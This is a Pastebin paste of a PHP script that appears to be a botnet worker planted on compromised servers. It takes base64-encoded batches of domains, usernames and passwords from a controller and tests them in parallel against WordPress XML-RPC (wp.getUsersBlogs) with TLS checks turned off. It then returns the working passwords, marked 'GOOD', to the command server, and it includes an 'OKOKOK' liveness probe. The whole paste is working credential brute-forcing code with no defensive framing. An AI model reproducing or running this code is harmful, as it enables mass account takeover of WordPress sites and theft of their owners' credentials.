BitofWP

5e8f6154dcf911.php

May 9th, 2020
178
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.67 KB | None | 0 0
  1. <?php  /*0949c789e5220ce982fbf9b96f5e7bb10949c789e5220ce982fbf9b96f5e7bb1*/ ?><?php
  2. function accesser($result,$someSecretVariable){
  3.     $xml = simplexml_load_string(trim($result));
  4.     if ($xml !== false) {
  5.         $counter = 0;
  6.         if (isset($xml->params->param->value->array->data->value)) {
  7.             foreach ($xml->params->param->value->array->data->value as $rpc) {
  8.                 if (isset($rpc->struct->member[0]->name)) {
  9.                     if ($rpc->struct->member[0]->name == 'faultCode') {
  10.  
  11.                     } else {
  12.                         return array('status'=>'GOOD','success'=>$someSecretVariable['password']);
  13.                     }
  14.                 } else {
  15.                     return array('status'=>'GOOD','success'=>$someSecretVariable['password']);
  16.                 }
  17.                 $counter++;
  18.             }
  19.         } else {
  20.             if (isset($xml->fault->value->struct->member->name)) {
  21.                 if ($xml->fault->value->struct->member->name == 'faultCode') {
  22.                     return array('status'=>'OK_BUT_NONE','success'=>false);
  23.                 }
  24.                 return array('status'=>'VERY STRANGE_RESPONCE','success'=>false);
  25.             }
  26.             return array('status'=>'STRANGE_RESPONCE','success'=>false);
  27.         }
  28.     } else {
  29.         return array('status'=>'XML_LOAD_FAILED','success'=>false);
  30.     }
  31.     return array('status'=>'OK_BUT_NONE','success'=>false);
  32.  
  33. }
  34.  
  35. function createRequest( $user, $password){
  36.     $request = "<?xml version=\"1.0\"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value><string>".htmlspecialchars($user)."</string></value></param><param><value><string>".htmlspecialchars($password)."</string></value></param></params></methodCall>";
  37.     return $request;
  38. }
  39. function validateXML($result){
  40.     $pos = strpos($result, '<?xml');
  41.     if ($pos !== false and $pos != 0) {
  42.         $result = substr($result, $pos);
  43.     }
  44.     $pos = strpos($result, '</methodR');
  45.     if ($pos !== false) {
  46.         $result = substr_replace($result, '</methodResponse>', $pos, strlen($result));
  47.     }
  48.     return $result;
  49. }
  50. //rndm
  51. libxml_use_internal_errors(true);
  52. if($_SERVER['REQUEST_METHOD'] === 'POST'){
  53.     if (isset($_POST["test"])){
  54.         echo 'OKOKOK';
  55.         exit;
  56.     }
  57. }
  58. $workData = json_decode(base64_decode(file_get_contents('php://input')), true);
  59.  
  60. foreach($workData['data'] as $k=>$chunkItem){
  61.     $workData['data'][$k]['request'] = createRequest($chunkItem['user'],$chunkItem['password']);
  62. }
  63.  
  64. $ccServerResponce = array();
  65. $multiCurl = [];
  66. $mh = curl_multi_init();
  67. foreach ($workData['data'] as $i => $id) {
  68.  
  69.     $fetchURL = $id['domain'];
  70.     $multiCurl[$i] = curl_init();
  71.     curl_setopt($multiCurl[$i], CURLOPT_URL,$fetchURL);
  72.     curl_setopt($multiCurl[$i], CURLOPT_RETURNTRANSFER, 1);
  73.     curl_setopt($multiCurl[$i], CURLOPT_CUSTOMREQUEST, 'POST' );
  74.     curl_setopt($multiCurl[$i], CURLOPT_HTTPHEADER, array(
  75.         'Content-Type: text/xml'
  76.     ));
  77.     curl_setopt($multiCurl[$i], CURLOPT_SSL_VERIFYPEER, false);
  78.     curl_setopt($multiCurl[$i], CURLOPT_SSL_VERIFYHOST, false);
  79.     curl_setopt($multiCurl[$i], CURLOPT_USERAGENT, $workData['userAgent']);
  80.     curl_setopt($multiCurl[$i], CURLOPT_POSTFIELDS, $id['request']);
  81.     curl_setopt($multiCurl[$i], CURLINFO_HEADER_OUT, true);
  82.     curl_setopt($multiCurl[$i], CURLOPT_FRESH_CONNECT, TRUE);
  83.     curl_setopt($multiCurl[$i], CURLOPT_FOLLOWLOCATION, TRUE);
  84.     curl_setopt($multiCurl[$i], CURLOPT_TIMEOUT,40);
  85.     curl_setopt($multiCurl[$i], CURLOPT_CONNECTTIMEOUT,12);
  86.     curl_multi_add_handle($mh, $multiCurl[$i]);
  87. }
  88. $index=null;
  89. do {
  90.     curl_multi_exec($mh,$index);
  91. } while($index > 0);
  92.  
  93. foreach($multiCurl as $k => $ch) {
  94.     $analyse = array();
  95.     $resultValidated = '';
  96.     $responseMain = '';
  97.     $info = curl_getinfo($ch);
  98.     if($info['http_code']==200) {
  99.         $responseMain = curl_multi_getcontent($ch);
  100.         $resultValidated = validateXML($responseMain);
  101.         $analyse = accesser($resultValidated, $workData['data'][$k]);
  102.         $ccServerResponce[] = array('link' => $workData['data'][$k]['domain'], 'result' => $analyse['status'], 'good'=>$analyse['success'],'user'=>$workData['data'][$k]['user'],'id'=>$workData['data'][$k]['id']);
  103.         curl_multi_remove_handle($mh, $ch);
  104.     }else{
  105.         $ccServerResponce[] = array('curl'=>curl_error($ch),'code' => $info['http_code'], 'link' => $workData['data'][$k]['domain'], 'result' => $info['http_code'], 'user' => $workData['data'][$k]['user'],'id'=>$workData['data'][$k]['id']);
  106.         curl_multi_remove_handle($mh, $ch);
  107.     }
  108. }
  109. curl_multi_close($mh);
  110.  
  111.  
  112. $sendClear = json_encode($ccServerResponce);
  113.  
  114.  
  115. echo "%%%!!!".$sendClear."!!!%%%";
Add Comment
Please, Sign In to add comment